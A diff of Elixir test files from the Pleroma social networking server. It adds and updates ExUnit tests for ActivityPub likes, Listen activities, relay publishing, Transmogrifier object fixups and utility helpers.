activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url())
conn
|> put_req_header("accept", "application/activity+json")
|> assign(:user, user)
|> get(activity_path)
|> json_response(200)
build_conn()
|> put_req_header("accept", "application/activity+json")
|> assign(:user, other_user)
|> get(activity_path)
|> json_response(200)
assert Delivery.get(object.id, user.id)
assert Delivery.get(object.id, other_user.id)
end
end
describe "Additionnal ActivityPub C2S endpoints" do
test "/api/ap/whoami", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> get("/api/ap/whoami")
user = User.get_cached_by_id(user.id)
assert UserView.render("user.json", %{user: user}) == json_response(conn, 200)
end
clear_config([:media_proxy])
clear_config([Pleroma.Upload])
test "uploadMedia", %{conn: conn} do
user = insert(:user)
desc = "Description of the image"
image = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image.jpg"),
filename: "an_image.jpg"
}
conn =
conn
|> assign(:user, user)
|> post("/api/ap/upload_media", %{"file" => image, "description" => desc})
assert object = json_response(conn, :created)
assert object["name"] == desc
assert object["type"] == "Document"
assert object["actor"] == user.ap_id
end
end
end

View file

@ -21,6 +21,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
:ok
end
clear_config([:instance, :federating])
describe "streaming out participations" do
test "it streams them out" do
user = insert(:user)
@ -36,9 +38,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
stream: fn _, _ -> nil end do
ActivityPub.stream_out_participations(conversation.participations)
Enum.each(participations, fn participation ->
assert called(Pleroma.Web.Streamer.stream("participation", participation))
end)
assert called(Pleroma.Web.Streamer.stream("participation", participations))
end
end
end
@ -257,6 +257,42 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
end
describe "listen activities" do
test "does not increase user note count" do
user = insert(:user)
{:ok, activity} =
ActivityPub.listen(%{
to: ["https://www.w3.org/ns/activitystreams#Public"],
actor: user,
context: "",
object: %{
"actor" => user.ap_id,
"to" => ["https://www.w3.org/ns/activitystreams#Public"],
"artist" => "lain",
"title" => "lain radio episode 1",
"length" => 180_000,
"type" => "Audio"
}
})
assert activity.actor == user.ap_id
user = User.get_cached_by_id(user.id)
assert user.info.note_count == 0
end
test "can be fetched into a timeline" do
_listen_activity_1 = insert(:listen)
_listen_activity_2 = insert(:listen)
_listen_activity_3 = insert(:listen)
timeline = ActivityPub.fetch_activities([], %{"type" => ["Listen"]})
assert length(timeline) == 3
end
end
describe "create activities" do
test "removes doubled 'to' recipients" do
user = insert(:user)
@ -647,6 +683,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert last == last_expected
end
test "paginates via offset/limit" do
_first_activities = ActivityBuilder.insert_list(10)
activities = ActivityBuilder.insert_list(10)
_later_activities = ActivityBuilder.insert_list(10)
first_expected = List.first(activities)
activities =
ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset)
first = List.first(activities)
assert length(activities) == 20
assert first == first_expected
end
test "doesn't return reblogs for users for whom reblogs have been muted" do
activity = insert(:note_activity)
user = insert(:user)
@ -676,6 +727,29 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
describe "like an object" do
test_with_mock "sends an activity to federation", Pleroma.Web.Federator, [:passthrough], [] do
Pleroma.Config.put([:instance, :federating], true)
note_activity = insert(:note_activity)
assert object_activity = Object.normalize(note_activity)
user = insert(:user)
{:ok, like_activity, _object} = ActivityPub.like(user, object_activity)
assert called(Pleroma.Web.Federator.publish(like_activity))
end
test "returns exist activity if object already liked" do
note_activity = insert(:note_activity)
assert object_activity = Object.normalize(note_activity)
user = insert(:user)
{:ok, like_activity, _object} = ActivityPub.like(user, object_activity)
{:ok, like_activity_exist, _object} = ActivityPub.like(user, object_activity)
assert like_activity == like_activity_exist
end
test "adds a like activity to the db" do
note_activity = insert(:note_activity)
assert object = Object.normalize(note_activity)
@ -706,6 +780,25 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
describe "unliking" do
test_with_mock "sends an activity to federation", Pleroma.Web.Federator, [:passthrough], [] do
Pleroma.Config.put([:instance, :federating], true)
note_activity = insert(:note_activity)
object = Object.normalize(note_activity)
user = insert(:user)
{:ok, object} = ActivityPub.unlike(user, object)
refute called(Pleroma.Web.Federator.publish())
{:ok, _like_activity, object} = ActivityPub.like(user, object)
assert object.data["like_count"] == 1
{:ok, unlike_activity, _, object} = ActivityPub.unlike(user, object)
assert object.data["like_count"] == 0
assert called(Pleroma.Web.Federator.publish(unlike_activity))
end
test "unliking a previously liked object" do
note_activity = insert(:note_activity)
object = Object.normalize(note_activity)

View file

@ -6,6 +6,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do
use Pleroma.DataCase
alias Pleroma.HTTP
alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy
import Mock
@ -24,6 +25,11 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do
test "it prefetches media proxy URIs" do
with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do
MediaProxyWarmingPolicy.filter(@message)
ObanHelpers.perform_all()
# Performing jobs which has been just enqueued
ObanHelpers.perform_all()
assert called(HTTP.get(:_, :_, :_))
end
end

View file

@ -3,15 +3,18 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.PublisherTest do
use Pleroma.DataCase
use Pleroma.Web.ConnCase
import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
import Mock
alias Pleroma.Activity
alias Pleroma.Instances
alias Pleroma.Object
alias Pleroma.Web.ActivityPub.Publisher
alias Pleroma.Web.CommonAPI
@as_public "https://www.w3.org/ns/activitystreams#Public"
@ -188,7 +191,10 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do
actor = insert(:user)
inbox = "http://connrefused.site/users/nick1/inbox"
assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
assert capture_log(fn ->
assert {:error, _} =
Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
end) =~ "connrefused"
assert called(Instances.set_unreachable(inbox))
end
@ -212,14 +218,16 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do
actor = insert(:user)
inbox = "http://connrefused.site/users/nick1/inbox"
assert {:error, _} =
Publisher.publish_one(%{
inbox: inbox,
json: "{}",
actor: actor,
id: 1,
unreachable_since: NaiveDateTime.utc_now()
})
assert capture_log(fn ->
assert {:error, _} =
Publisher.publish_one(%{
inbox: inbox,
json: "{}",
actor: actor,
id: 1,
unreachable_since: NaiveDateTime.utc_now()
})
end) =~ "connrefused"
refute called(Instances.set_unreachable(inbox))
end
@ -257,10 +265,74 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do
assert called(
Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
inbox: "https://domain.com/users/nick1/inbox",
actor: actor,
actor_id: actor.id,
id: note_activity.data["id"]
})
)
end
test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.",
Pleroma.Web.Federator.Publisher,
[:passthrough],
[] do
fetcher =
insert(:user,
local: false,
info: %{
ap_enabled: true,
source_data: %{"inbox" => "https://domain.com/users/nick1/inbox"}
}
)
another_fetcher =
insert(:user,
local: false,
info: %{
ap_enabled: true,
source_data: %{"inbox" => "https://domain2.com/users/nick1/inbox"}
}
)
actor = insert(:user)
note_activity = insert(:note_activity, user: actor)
object = Object.normalize(note_activity)
activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url())
object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
build_conn()
|> put_req_header("accept", "application/activity+json")
|> assign(:user, fetcher)
|> get(object_path)
|> json_response(200)
build_conn()
|> put_req_header("accept", "application/activity+json")
|> assign(:user, another_fetcher)
|> get(activity_path)
|> json_response(200)
{:ok, delete} = CommonAPI.delete(note_activity.id, actor)
res = Publisher.publish(actor, delete)
assert res == :ok
assert called(
Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
inbox: "https://domain.com/users/nick1/inbox",
actor_id: actor.id,
id: delete.data["id"]
})
)
assert called(
Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
inbox: "https://domain2.com/users/nick1/inbox",
actor_id: actor.id,
id: delete.data["id"]
})
)
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.RelayTest do
@ -10,7 +10,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Relay
import ExUnit.CaptureLog
import Pleroma.Factory
import Mock
test "gets an actor for the relay" do
user = Relay.get_actor()
@ -19,7 +21,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
describe "follow/1" do
test "returns errors when user not found" do
assert Relay.follow("test-ap-id") == {:error, "Could not fetch by AP id"}
assert capture_log(fn ->
assert Relay.follow("test-ap-id") == {:error, "Could not fetch by AP id"}
end) =~ "Could not fetch by AP id"
end
test "returns activity" do
@ -36,23 +40,30 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
describe "unfollow/1" do
test "returns errors when user not found" do
assert Relay.unfollow("test-ap-id") == {:error, "Could not fetch by AP id"}
assert capture_log(fn ->
assert Relay.unfollow("test-ap-id") == {:error, "Could not fetch by AP id"}
end) =~ "Could not fetch by AP id"
end
test "returns activity" do
user = insert(:user)
service_actor = Relay.get_actor()
ActivityPub.follow(service_actor, user)
Pleroma.User.follow(service_actor, user)
assert "#{user.ap_id}/followers" in refresh_record(service_actor).following
assert {:ok, %Activity{} = activity} = Relay.unfollow(user.ap_id)
assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay"
assert user.ap_id in activity.recipients
assert activity.data["type"] == "Undo"
assert activity.data["actor"] == service_actor.ap_id
assert activity.data["to"] == [user.ap_id]
refute "#{user.ap_id}/followers" in refresh_record(service_actor).following
end
end
describe "publish/1" do
clear_config([:instance, :federating])
test "returns error when activity not `Create` type" do
activity = insert(:like_activity)
assert Relay.publish(activity) == {:error, "Not implemented"}
@ -63,13 +74,46 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
assert Relay.publish(activity) == {:error, false}
end
test "returns announce activity" do
test "returns error when object is unknown" do
activity =
insert(:note_activity,
data: %{
"type" => "Create",
"object" => "http://mastodon.example.org/eee/99541947525187367"
}
)
assert capture_log(fn ->
assert Relay.publish(activity) == {:error, nil}
end) =~ "[error] error: nil"
end
test_with_mock "returns announce activity and publish to federate",
Pleroma.Web.Federator,
[:passthrough],
[] do
Pleroma.Config.put([:instance, :federating], true)
service_actor = Relay.get_actor()
note = insert(:note_activity)
assert {:ok, %Activity{} = activity, %Object{} = obj} = Relay.publish(note)
assert activity.data["type"] == "Announce"
assert activity.data["actor"] == service_actor.ap_id
assert activity.data["object"] == obj.data["id"]
assert called(Pleroma.Web.Federator.publish(activity))
end
test_with_mock "returns announce activity and not publish to federate",
Pleroma.Web.Federator,
[:passthrough],
[] do
Pleroma.Config.put([:instance, :federating], false)
service_actor = Relay.get_actor()
note = insert(:note_activity)
assert {:ok, %Activity{} = activity, %Object{} = obj} = Relay.publish(note)
assert activity.data["type"] == "Announce"
assert activity.data["actor"] == service_actor.ap_id
assert activity.data["object"] == obj.data["id"]
refute called(Pleroma.Web.Federator.publish(activity))
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
@ -19,6 +19,25 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
end
describe "handle_incoming" do
test "it works for osada follow request" do
user = insert(:user)
data =
File.read!("test/fixtures/osada-follow-activity.json")
|> Poison.decode!()
|> Map.put("object", user.ap_id)
{:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data)
assert data["actor"] == "https://apfed.club/channel/indio"
assert data["type"] == "Follow"
assert data["id"] == "https://apfed.club/follow/9"
activity = Repo.get(Activity, activity.id)
assert activity.data["state"] == "accept"
assert User.following?(User.get_cached_by_ap_id(data["actor"]), user)
end
test "it works for incoming follow requests" do
user = insert(:user)

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
@ -8,6 +8,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
alias Pleroma.Object
alias Pleroma.Object.Fetcher
alias Pleroma.Repo
alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Transmogrifier
@ -102,7 +103,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert capture_log(fn ->
{:ok, _returned_activity} = Transmogrifier.handle_incoming(data)
end) =~ "[error] Couldn't fetch \"\"https://404.site/whatever\"\", error: nil"
end) =~ "[error] Couldn't fetch \"https://404.site/whatever\", error: nil"
end
test "it works for incoming notices" do
@ -176,6 +177,35 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
end)
end
test "it works for incoming listens" do
data = %{
"@context" => "https://www.w3.org/ns/activitystreams",
"to" => ["https://www.w3.org/ns/activitystreams#Public"],
"cc" => [],
"type" => "Listen",
"id" => "http://mastodon.example.org/users/admin/listens/1234/activity",
"actor" => "http://mastodon.example.org/users/admin",
"object" => %{
"type" => "Audio",
"id" => "http://mastodon.example.org/users/admin/listens/1234",
"attributedTo" => "http://mastodon.example.org/users/admin",
"title" => "lain radio episode 1",
"artist" => "lain",
"album" => "lain radio",
"length" => 180_000
}
}
{:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data)
object = Object.normalize(activity)
assert object.data["title"] == "lain radio episode 1"
assert object.data["artist"] == "lain"
assert object.data["album"] == "lain radio"
assert object.data["length"] == 180_000
end
test "it rewrites Note votes to Answers and increments vote counters on question activities" do
user = insert(:user)
@ -563,6 +593,14 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
%{"name" => "foo", "value" => "updated"},
%{"name" => "foo1", "value" => "updated"}
]
update_data = put_in(update_data, ["object", "attachment"], [])
{:ok, _} = Transmogrifier.handle_incoming(update_data)
user = User.get_cached_by_ap_id(user.ap_id)
assert User.Info.fields(user.info) == []
end
test "it works for incoming update activities which lock the account" do
@ -640,6 +678,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
|> Poison.decode!()
{:ok, _} = Transmogrifier.handle_incoming(data)
ObanHelpers.perform_all()
refute User.get_cached_by_ap_id(ap_id)
end
@ -1180,6 +1219,20 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert is_nil(modified["bcc"])
end
test "it can handle Listen activities" do
listen_activity = insert(:listen)
{:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data)
assert modified["type"] == "Listen"
user = insert(:user)
{:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"})
{:ok, _modified} = Transmogrifier.prepare_outgoing(activity.data)
end
end
describe "user upgrade" do
@ -1202,6 +1255,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert user.info.note_count == 1
{:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye")
ObanHelpers.perform_all()
assert user.info.ap_enabled
assert user.info.note_count == 1
assert user.follower_address == "https://niu.moe/users/rye/followers"
@ -1443,4 +1498,271 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
refute recipient.follower_address in fixed_object["to"]
end
end
describe "fix_summary/1" do
test "returns fixed object" do
assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""}
assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"}
assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""}
end
end
describe "fix_in_reply_to/2" do
clear_config([:instance, :federation_incoming_replies_max_depth])
setup do
data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
[data: data]
end
test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do
assert Transmogrifier.fix_in_reply_to(data) == data
end
test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do
Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0)
object_with_reply =
Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873")
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873"
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
object_with_reply =
Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"})
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"}
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
object_with_reply =
Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"])
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"]
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
object_with_reply = Map.put(data["object"], "inReplyTo", [])
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
assert modified_object["inReplyTo"] == []
assert modified_object["inReplyToAtomUri"] == ""
end
test "returns modified object when allowed incoming reply", %{data: data} do
object_with_reply =
Map.put(
data["object"],
"inReplyTo",
"https://shitposter.club/notice/2827873"
)
Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5)
modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
assert modified_object["inReplyTo"] ==
"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
assert modified_object["conversation"] ==
"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
assert modified_object["context"] ==
"tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
end
end
describe "fix_url/1" do
test "fixes data for object when url is map" do
object = %{
"url" => %{
"type" => "Link",
"mimeType" => "video/mp4",
"href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
}
}
assert Transmogrifier.fix_url(object) == %{
"url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
}
end
test "fixes data for video object" do
object = %{
"type" => "Video",
"url" => [
%{
"type" => "Link",
"mimeType" => "video/mp4",
"href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
},
%{
"type" => "Link",
"mimeType" => "video/mp4",
"href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4"
},
%{
"type" => "Link",
"mimeType" => "text/html",
"href" => "https://peertube.-2d4c2d1630e3"
},
%{
"type" => "Link",
"mimeType" => "text/html",
"href" => "https://peertube.-2d4c2d16377-42"
}
]
}
assert Transmogrifier.fix_url(object) == %{
"attachment" => [
%{
"href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4",
"mimeType" => "video/mp4",
"type" => "Link"
}
],
"type" => "Video",
"url" => "https://peertube.-2d4c2d1630e3"
}
end
test "fixes url for not Video object" do
object = %{
"type" => "Text",
"url" => [
%{
"type" => "Link",
"mimeType" => "text/html",
"href" => "https://peertube.-2d4c2d1630e3"
},
%{
"type" => "Link",
"mimeType" => "text/html",
"href" => "https://peertube.-2d4c2d16377-42"
}
]
}
assert Transmogrifier.fix_url(object) == %{
"type" => "Text",
"url" => "https://peertube.-2d4c2d1630e3"
}
assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{
"type" => "Text",
"url" => ""
}
end
test "retunrs not modified object" do
assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"}
end
end
describe "get_obj_helper/2" do
test "returns nil when cannot normalize object" do
refute Transmogrifier.get_obj_helper("test-obj-id")
end
test "returns {:ok, %Object{}} for success case" do
assert {:ok, %Object{}} =
Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873")
end
end
describe "fix_attachments/1" do
test "returns not modified object" do
data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
assert Transmogrifier.fix_attachments(data) == data
end
test "returns modified object when attachment is map" do
assert Transmogrifier.fix_attachments(%{
"attachment" => %{
"mediaType" => "video/mp4",
"url" => "https://peertube.moe/stat-480.mp4"
}
}) == %{
"attachment" => [
%{
"mediaType" => "video/mp4",
"url" => [
%{
"href" => "https://peertube.moe/stat-480.mp4",
"mediaType" => "video/mp4",
"type" => "Link"
}
]
}
]
}
end
test "returns modified object when attachment is list" do
assert Transmogrifier.fix_attachments(%{
"attachment" => [
%{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"},
%{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"}
]
}) == %{
"attachment" => [
%{
"mediaType" => "video/mp4",
"url" => [
%{
"href" => "https://pe.er/stat-480.mp4",
"mediaType" => "video/mp4",
"type" => "Link"
}
]
},
%{
"href" => "https://pe.er/stat-480.mp4",
"mediaType" => "video/mp4",
"mimeType" => "video/mp4",
"url" => [
%{
"href" => "https://pe.er/stat-480.mp4",
"mediaType" => "video/mp4",
"type" => "Link"
}
]
}
]
}
end
end
describe "fix_emoji/1" do
test "returns not modified object when object not contains tags" do
data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
assert Transmogrifier.fix_emoji(data) == data
end
test "returns object with emoji when object contains list tags" do
assert Transmogrifier.fix_emoji(%{
"tag" => [
%{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}},
%{"type" => "Hashtag"}
]
}) == %{
"emoji" => %{"bib" => "/test"},
"tag" => [
%{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"},
%{"type" => "Hashtag"}
]
}
end
test "returns object with emoji when object contains map tag" do
assert Transmogrifier.fix_emoji(%{
"tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}
}) == %{
"emoji" => %{"bib" => "/test"},
"tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}
}
end
end
end

View file

@ -14,6 +14,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
import Pleroma.Factory
require Pleroma.Constants
describe "fetch the latest Follow" do
test "fetches the latest Follow activity" do
%Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity)
@ -85,6 +87,44 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
assert Utils.determine_explicit_mentions(object) == []
end
test "works with an object has tags as map" do
object = %{
"tag" => %{
"type" => "Mention",
"href" => "https://example.com/~alyssa",
"name" => "Alyssa P. Hacker"
}
}
assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
end
end
describe "make_unlike_data/3" do
test "returns data for unlike activity" do
user = insert(:user)
like_activity = insert(:like_activity, data_attrs: %{"context" => "test context"})
assert Utils.make_unlike_data(user, like_activity, nil) == %{
"type" => "Undo",
"actor" => user.ap_id,
"object" => like_activity.data,
"to" => [user.follower_address, like_activity.data["actor"]],
"cc" => [Pleroma.Constants.as_public()],
"context" => like_activity.data["context"]
}
assert Utils.make_unlike_data(user, like_activity, "9mJEZK0tky1w2xD2vY") == %{
"type" => "Undo",
"actor" => user.ap_id,
"object" => like_activity.data,
"to" => [user.follower_address, like_activity.data["actor"]],
"cc" => [Pleroma.Constants.as_public()],
"context" => like_activity.data["context"],
"id" => "9mJEZK0tky1w2xD2vY"
}
end
end
describe "make_like_data" do
@ -272,8 +312,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
{:ok, follow_activity_two} =
Utils.update_follow_state_for_all(follow_activity_two, "accept")
assert Repo.get(Activity, follow_activity.id).data["state"] == "accept"
assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept"
assert refresh_record(follow_activity).data["state"] == "accept"
assert refresh_record(follow_activity_two).data["state"] == "accept"
end
end
@ -295,8 +335,294 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do
{:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject")
assert Repo.get(Activity, follow_activity.id).data["state"] == "pending"
assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject"
assert refresh_record(follow_activity).data["state"] == "pending"
assert refresh_record(follow_activity_two).data["state"] == "reject"
end
end
describe "update_element_in_object/3" do
test "updates likes" do
user = insert(:user)
activity = insert(:note_activity)
object = Object.normalize(activity)
assert {:ok, updated_object} =
Utils.update_element_in_object(
"like",
[user.ap_id],
object
)
assert updated_object.data["likes"] == [user.ap_id]
assert updated_object.data["like_count"] == 1
end
end
describe "add_like_to_object/2" do
test "add actor to likes" do
user = insert(:user)
user2 = insert(:user)
object = insert(:note)
assert {:ok, updated_object} =
Utils.add_like_to_object(
%Activity{data: %{"actor" => user.ap_id}},
object
)
assert updated_object.data["likes"] == [user.ap_id]
assert updated_object.data["like_count"] == 1
assert {:ok, updated_object2} =
Utils.add_like_to_object(
%Activity{data: %{"actor" => user2.ap_id}},
updated_object
)
assert updated_object2.data["likes"] == [user2.ap_id, user.ap_id]
assert updated_object2.data["like_count"] == 2
end
end
describe "remove_like_from_object/2" do
test "removes ap_id from likes" do
user = insert(:user)
user2 = insert(:user)
object = insert(:note, data: %{"likes" => [user.ap_id, user2.ap_id], "like_count" => 2})
assert {:ok, updated_object} =
Utils.remove_like_from_object(
%Activity{data: %{"actor" => user.ap_id}},
object
)
assert updated_object.data["likes"] == [user2.ap_id]
assert updated_object.data["like_count"] == 1
end
end
describe "get_existing_like/2" do
test "fetches existing like" do
note_activity = insert(:note_activity)
assert object = Object.normalize(note_activity)
user = insert(:user)
refute Utils.get_existing_like(user.ap_id, object)
{:ok, like_activity, _object} = ActivityPub.like(user, object)
assert ^like_activity = Utils.get_existing_like(user.ap_id, object)
end
end
describe "get_get_existing_announce/2" do
test "returns nil if announce not found" do
actor = insert(:user)
refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}})
end
test "fetches existing announce" do
note_activity = insert(:note_activity)
assert object = Object.normalize(note_activity)
actor = insert(:user)
{:ok, announce, _object} = ActivityPub.announce(actor, object)
assert Utils.get_existing_announce(actor.ap_id, object) == announce
end
end
describe "fetch_latest_block/2" do
test "fetches last block activities" do
user1 = insert(:user)
user2 = insert(:user)
assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2)
assert {:ok, %Activity{} = activity} = ActivityPub.block(user1, user2)
assert Utils.fetch_latest_block(user1, user2) == activity
end
end
describe "recipient_in_message/3" do
test "returns true when recipient in `to`" do
recipient = insert(:user)
actor = insert(:user)
assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id})
assert Utils.recipient_in_message(
recipient,
actor,
%{"to" => [recipient.ap_id], "cc" => ""}
)
end
test "returns true when recipient in `cc`" do
recipient = insert(:user)
actor = insert(:user)
assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id})
assert Utils.recipient_in_message(
recipient,
actor,
%{"cc" => [recipient.ap_id], "to" => ""}
)
end
test "returns true when recipient in `bto`" do
recipient = insert(:user)
actor = insert(:user)
assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id})
assert Utils.recipient_in_message(
recipient,
actor,
%{"bcc" => "", "bto" => [recipient.ap_id]}
)
end
test "returns true when recipient in `bcc`" do
recipient = insert(:user)
actor = insert(:user)
assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id})
assert Utils.recipient_in_message(
recipient,
actor,
%{"bto" => "", "bcc" => [recipient.ap_id]}
)
end
test "returns true when message without addresses fields" do
recipient = insert(:user)
actor = insert(:user)
assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id})
assert Utils.recipient_in_message(
recipient,
actor,
%{"btod" => "", "bccc" => [recipient.ap_id]}
)
end
test "returns false" do
recipient = insert(:user)
actor = insert(:user)
refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"})
end
end
describe "lazy_put_activity_defaults/2" do
test "returns map with id and published data" do
note_activity = insert(:note_activity)
object = Object.normalize(note_activity)
res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]})
assert res["context"] == object.data["id"]
assert res["context_id"] == object.id
assert res["id"]
assert res["published"]
end
test "returns map with fake id and published data" do
assert %{
"context" => "pleroma:fakecontext",
"context_id" => -1,
"id" => "pleroma:fakeid",
"published" => _
} = Utils.lazy_put_activity_defaults(%{}, true)
end
test "returns activity data with object" do
note_activity = insert(:note_activity)
object = Object.normalize(note_activity)
res =
Utils.lazy_put_activity_defaults(%{
"context" => object.data["id"],
"object" => %{}
})
assert res["context"] == object.data["id"]
assert res["context_id"] == object.id
assert res["id"]
assert res["published"]
assert res["object"]["id"]
assert res["object"]["published"]
assert res["object"]["context"] == object.data["id"]
assert res["object"]["context_id"] == object.id
end
end
describe "make_flag_data" do
test "returns empty map when params is invalid" do
assert Utils.make_flag_data(%{}, %{}) == %{}
end
test "returns map with Flag object" do
